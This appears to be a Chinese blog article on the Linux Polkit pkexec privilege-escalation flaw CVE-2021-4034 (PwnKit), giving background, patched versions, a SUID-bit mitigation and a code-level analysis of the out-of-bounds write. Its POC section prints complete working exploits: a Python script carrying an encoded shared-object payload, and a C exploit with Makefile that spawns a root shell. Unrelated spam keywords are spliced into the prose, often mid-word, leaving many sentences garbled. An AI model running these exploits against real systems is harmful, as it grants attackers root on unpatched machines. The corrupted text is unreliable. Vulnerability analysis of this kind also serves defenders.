Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

一、什么是Polkit

Polkit是一个应用程序级别的指针的拼音工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。 pkexec是一个Linux下Polkit里的se指针数组和数组指针的区别tuid工具,允许授权用户在预定的策略下以其他用户身份执行命令。

用法:

pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

Description:

pkexec允许授权用户以另一个用户身份php7执行程序。如果未指定用户名,nlp则程序将以管理超级用户root身份执行。

Return:

成功执行完成后,返回值为程序的返回值。如果调用进程没有被授权或者无法通过认证获得授权或者发生错奶酪拼音误,pkexec退出返回值127。

Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

二、指针万用表的使用方法Polkit权限提升漏洞

漏洞状态:

细节是否公开 POC状态 EXP状态 在野利用
已公开 已公开 未知

复现截图:

Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

漏洞安全期计算器描述:

pkexec是一个Linux下的setuid工具,允许授权用户在预定的策略下以其他用户身份执行命令。 由于当前版本PHP的pkexec无法正确处理调用参数计数,并最终会尝试将环境变量作安全工程师为命令执行。攻击者可以通过控制环境变量,从而诱导pkexec执安全中心行任意代码。利用成功后,可导致非特权用户获得管理员权限。

漏洞等级:

目前漏洞POC已被泄露,攻击者利用该漏洞可导致恶意用户权限提升等危害。

影响范围:

由于为系统预装工具,自2009年5月polkit中pkexec创建以来主流的Linux版本均受该漏洞影响。

修复建议:

临时缓解措施:可删除pkexec的SUID-bit权限来缓解该漏洞风险,执行命令如下:

chmod 0755 /usr/bin/pkexec

安全版本:

CentOS系列:phpmyadmin

CentOS 6:polkit-0.96-11.el6_10.2

CentOS 7:polk那里拍婚纱照好it-0.112-26.el7_9.1命令行快捷键

Cen奶酪拼音tOS 8.0:polkit-0.115-13.el8_5.1

CentOS 8.2:polkit-0.1努力拼音15-11.el8_2.安全模式怎么解除2

CentOS 8.4:polkit-炮灰婆婆的人生0.115-11.el8_4.2

Ubuntu系列:

Ubuntu 20.04 LTS:policykit-1 – 0.105-26ubu安全工程师ntu1.2

Ubuntu 18.04 LTS:policykit-1 – 0.105-20ubuntu0.18.04.6

Ubuntu 16.04 ESM:policykit-1 –炮灰婆婆的人生 0.105-14.1ubuntu0.5+esm1

Ubuntu 14.04 ESM:policykit-1 – 0.105-4ubuntu3.14.04.6+esm1

目前各Lin脑颅膨大的意思ux发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu及Debian用户可参考以下链接: ubuntu.com/security/CV… acce指针式万用表ss.redhat.com/security/cv… security-tracker.debian.org/tracker/CVE…

三、POC

python:

#!/usr/bin/env python3
# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile
payload = zlib.decompress(
    base64.b64decode(
     """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

C:

//cve-2021-4034.c
#include <unistd.h>
int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		NULL
	};
	return execve("/usr/bin/pkexec", args, environ);
}
//pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
	char * const args[] = { "/bin/sh", "-pi", NULL };
	char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
	execve(args[0], args, environ);
	exit(0);
}
//Makefile
CFLAGS=-Wall
TRUE=$(shell which true)
.PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
.PHONY: clean
clean:
	rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
gconv-modules:
	echo "module UTF-8// PWNKIT// pwnkit 1" > $@
.PHONY: gconvpath
gconvpath:
	mkdir -p GCONV_PATH=.
	cp $(TRUE) GCONV_PATH=./pwnkit.so:.
pwnkit.so: pwnkit.c
	$(CC) $(CFLAGS) --shared -fPIC -o $@ $<

四、漏洞分析

pkexec的main(安全模式怎么解除)函数的开头处理命令行参数(第534-568行),如果参数中其nlp是什么意思路径不是绝对路径,会在PATH环境变量的目录中搜索要执行的程序(第610-640行)。

如果命令行参数argc的数量为0(如果我们传递给execve()的参数列表argv为空,即{NULL}),然后argv[0]为NULL(参数列表的终止符),读取要执行的程序的路径时argv[1]越界即envp[0],并指向“value”。

因为“value”不是以斜线开头,则“value”被传递给g_find_program_in_path()在环境变量中搜索名为“value”的可执行文件安全模式怎么解除,若查询到则能力拼音返回其完整路径。

然后完整路径被越界写入argv[1]即envp[0],从而覆盖第一个环境变量。

 435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)//循环遍历用户输入参数:循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);//读取要执行的程序的路径:argv[1]越界(即envp[0]),并指向“value”
 ...
 629   if (path[0] != '/')//因为“value”不是以斜线开头,进入分支进行查找命令的绝对路径
 630     {
 ...
 632       s = g_find_program_in_path (path);//查找命令的绝对路径:“value”传递给g_find_program_in_path()在环境变量中查找,若找到这样的可执行文件,则返回其完整路径
 ...
 639       argv[n] = path = s;//把获取到的绝对地址路径被越界写入argv[1]即envp[0],从而覆盖我们的第一个环境变量
 640     }

如果我们的PATH环境变量是“PATH=name”,并且如果目录“name”存在(在当前工作目录中)并包含一个名为“value”的可执行文件,然后是指向字符串的指针“name=./value”越界写入envp[0];

或者,如果我们的PATH是“PATH=na安全生产法me=.”,并且目录是“安全工程师name=.”存在指针电影并包含一个名为“value”的可执行文件,然后一个指向字符串“name=./value”被越界写入envp[0]。

换句话说,这种越界写入允许我们重新引入一个可以将“unsecure”不安全环境变量(例如LD_PRELOphp7AD)放入pkexec的 环境,这些“unsecure”变量通常在调用main()函php中文网数之前从SUID程序的环境中删除(通过ld.so)。

奶酪拼音我们execve(安全模式怎么解除)一个新的程序,内核复制我们的参数和环境字符串和指向新程序堆栈末尾的指针(argv和envp) 例子:

Linux Polkit权限提升漏洞复现&详细分析(CVE-2021-4034)

因为argv和envp哪里拼音指针在内命令行如何切换到d盘存中是连续的,如果argc为哪里拼音0,则越界argv[1]实际上是envp[0],即指向php是前端还是后端我们的第一个环境变量“valu命令行如何切换到d盘e”的指针。

五、漏洞利用

为了防止低权限用户通过环境变量让suid程序加载不可信的so,造成的恶意代码执行进而提权的情况。当检测到程序是特权文件(suid)的时候,php是前端还是后端会清空这些环境变量,绝大部分是LD_系列的环境变量,他们都有能指定动态库加载路径的能力。

在该漏洞场景下,根据上面分析我们拥有一次能力培养与测试写入任意环境变量的机会,利用思路就是尝试从那些本来没法传入suid程序中的环境变量中进行操作。

通过POC利用关键环境变量是GCONV_PATH,这里GCONV_PATH环境变量也有相当于LD_安全教育LIBRARY_PATH的功能,他可以指定 iconv_open() 函数搜索sphp中文网o库的文件。我配合拼音们如果可以伪造GCONV_PATH然后进一步伪造gconv-modphp是什么ules和一个so就可以完成任意so加载以及任意代码执行。

设置参数”pwnkit.so:.”,伪造环境变量”PATH=GCONV_PATH=.”。

#include <iconv.h>
iconv_t iconv_open(const char *tocode, const char *fromcode);

iconv_open()奶酪拼音函数返回一个转换描述符,该描述符描述了从fromcode参数指安全向的字安全教育平台符串指定的代码集到tocode参数指向的字符串指定的代安全码集的转换。如果使用文件描述符来实现转换描述符,则将设置FD_CLOEXEC标志;参见<fcntl.安全工程师h>。

iconv_open()函数首先会找到系统提供的conv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据gconv-modules命令行关机文件的指示去链接参数对应的.so文件执行具体操作。

六、安全教育平台附录

参考链接:

page.om.qq.co命令行如何切换到d盘m/page/ODs2vo…指针式万用表表盘详解 access.redhat.com/security/cv… www.qualys.com/2022/01/安全生产法25/… wiki.ar炮灰婆婆的人生快穿chlinux.org/title/Polki… mp.weixin.qq.com/s/YY93XZZMo… blog.csdn.net/Breeze命令行窗口怎么打开_CAT/… pubs.opengroup.org/onlinepubs/…